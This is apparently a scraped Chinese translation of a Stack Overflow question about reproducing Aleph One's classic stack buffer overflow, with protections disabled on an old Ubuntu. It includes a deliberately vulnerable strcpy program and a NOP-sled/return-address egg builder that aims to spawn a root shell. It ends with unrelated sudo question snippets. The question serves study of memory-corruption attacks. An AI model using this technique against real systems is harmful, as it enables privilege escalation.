个人中心
文章发布
退出
作者热门文章
- html - 出于某种原因，IE8 对我的 Sass 文件中继承的 html5 CSS 不友好？
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景？
27
4
<分区>
我正在研究 Aleph One 的文章 Smashing the Stack for Fun and Profit 中描述的缓冲区溢出攻击.
如文章中所述，我编写了一个程序 (shellcode.c)，将恶意代码 (shellcode) 植入环境变量 ($EGG)。之后 $EGG 作为参数传递给我希望攻击的程序 (vulnerable.c)，导致该程序中的缓冲区溢出并导致 shellcode 执行。
这就是缓冲区的样子 -
[NNNNNNNNN...NNNNNNSSSSSSS...SSSSSSSRRRRR...RRRRRR]
其中 N 是 NOP 指令(参见 NOP sled)，S 是我的 shellcode，R 是地址(将地址返回缓冲区，这将导致指令指针从代码段跳转到上面的堆栈缓冲区并开始执行说明)。
当我以普通用户运行 shellcode.c 和 vulnerable.c 的可执行文件时，我面临以下问题 - 当指令指针被重定向到缓冲区并遇到一条指令时，一个分段故障结果。 然而，在以 sudo 执行程序时，缓冲区中的指令执行没有任何问题，缓冲区中的后续 shellcode 成功执行，调出根终端，从而完成利用。 谁能阐明为什么会发生这种情况？
我已禁用以下保护 - Stack Smashing Protection、ASLR 和 Linux 的 NX(eXecute Disable Bit)。
我正在使用 gcc 4.4.3(目标:i486-linux-gnu)进行编译，并在运行内核 2.6.32 的 Ubuntu 10.04 (Lucid Lynx) 上执行。
下面是我的两个程序:
vulnerable.c
int main(int argc, char** argv) {
char buffer[512];
if(argc>1)
strcpy(buffer,argv[1]);
return (EXIT_SUCCESS);
}
shellcode.c
int main(int argc,char** argv) {
char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;
/* Set buffersize and predicted offset if arguments are supplied to the program
*/
if(argc>1)
buffersize = atoi(argv[1]);
if(argc>2)
offset = atoi(argv[2]);
if(!(buff=(char*)malloc(buffersize))) {
printf("Can't allocate memory!");
exit(1);
}
retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);
addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
*(addr++) = retaddr;
for(i=0;i<buffersize/2;i++)
buff[i] = NOP;
ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];
buff[buffersize -1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
return (EXIT_SUCCESS);
}
0
sudo 命令 1、sudo 简介 sudo是linux系统管理指令，是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具，如halt，reboot，su等等。这样不仅减少了root用户
我正在尝试更改 source.list。 主机有一个用户 deploy 和密码 deploy 我可以连接 ssh 并使用 sudo 对 source.list 进行任何操作。然而 ansible 似乎
我希望以我当前用户的权限运行 TOMCAT，而不是 root 的环境变量。 vagrant@dev:~/Workspace/eurekastreams$ echo $JAVA_OPTS -Xmx102
这个问题在这里已经有了答案: How to install python modules without root access? (9 个回答) 3年前关闭。 最终目标是在 redhat 机器上的
我一直在尝试允许 EC2 亚马逊服务器('ec2-user')的普通用户访问某个库。 我做了:“sudo chown -R ec2-user/usr”，我现在意识到这是一个致命的错误。它起作用了，但是
我正在尝试使用 cgi (python) 配置 apache2。为此，我必须更改某些文件夹和文件的权限，但每次尝试更改文件或文件夹的权限时，我都会收到 sudo fatal error 。 例如: 1
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 这个问题似乎不是关于 a specific programming problem, a softwar
我不想在 sudoers 文件中禁用 requiretty。请建议当我在 cron 作业中执行脚本时是否有其他方式启动终端 最佳答案 这可能是一个奇怪的解决方法，但您可以使用 -t 选项通过 cron
寻找将当前用户的别名传递给 sudo 的方法命令，我找到了以下 on ArchWiki : Passing aliases If you use a lot of aliases, you might
我已将 Royal TS 设置为在多台 Linux 计算机上使用我的用户名自动登录。我想让它在连接后自动运行 sudo su -，输入我的密码，这样只需双击连接即可获得 root 权限。 我已经通过创
我正在尝试使用涉及使用 sudo 的子进程。 它在终端中运行良好: sudo /home/pi/Desktop/fm_transmitter/bin/Release/fm_transmitter
我想通过 ssh 连接到远程服务器，更改用户然后执行脚本。我正在使用 subprocess 来执行此操作，但似乎 sudo -u userB -i 并未更改用户。 HOST = 'remote_ser
我正在尝试使用 Ansible 来配置一个 Vagrant 框和一个 EC2 服务器。使用 --connection=local 时，它在 Vagrant 框上工作正常，但似乎只是忽略了 sudo:
嗨，我为 Ansible 编写了一个剧本来安装一些应用程序。我遇到了麻烦，因为我必须以 root 身份运行所有东西，这不是一个好主意。 所以我创建了一个 sudo 用户并创建了一个用于身份验证的私钥。
我想通过 electron 写一个应用程序，但要求是更新需要 root 的文件允许。 通过 cli 很容易实现，就像 sudo vi xxx . 是否可以通过 electron 更新文件？ ? 最佳答
我已经安装了以下 pkgs: ii tigervnc-common 1.10.1+dfsg-1 amd
我有一个经销商 Web 服务器，正在将其迁移到新计算机中。源服务器所有者提供了一个用户(我们称之为用户 A)，该用户对其他用户具有 sudo 访问权限，但对 root 没有权限。我的用户没有对我需要提
use std::fs::OpenOptions; use std::io::Write; fn main() { let mut source_list = OpenOptions::new
我正在尝试使用命令 sudo jupyterhub 启动 JupyterHub。这会启动服务器，但用户无法登录。但是，当我使用 sudo -s 切换到 root 用户，然后输入 jupyterhub
我正在尝试安装 pip，但我在 StackOverflow 中陷入了相互冲突的答案中(请阅读末尾的评论以了解重复的问题)。 instructions说下载get-pip.py并使用 phyton 运行
我是一名优秀的程序员,十分优秀！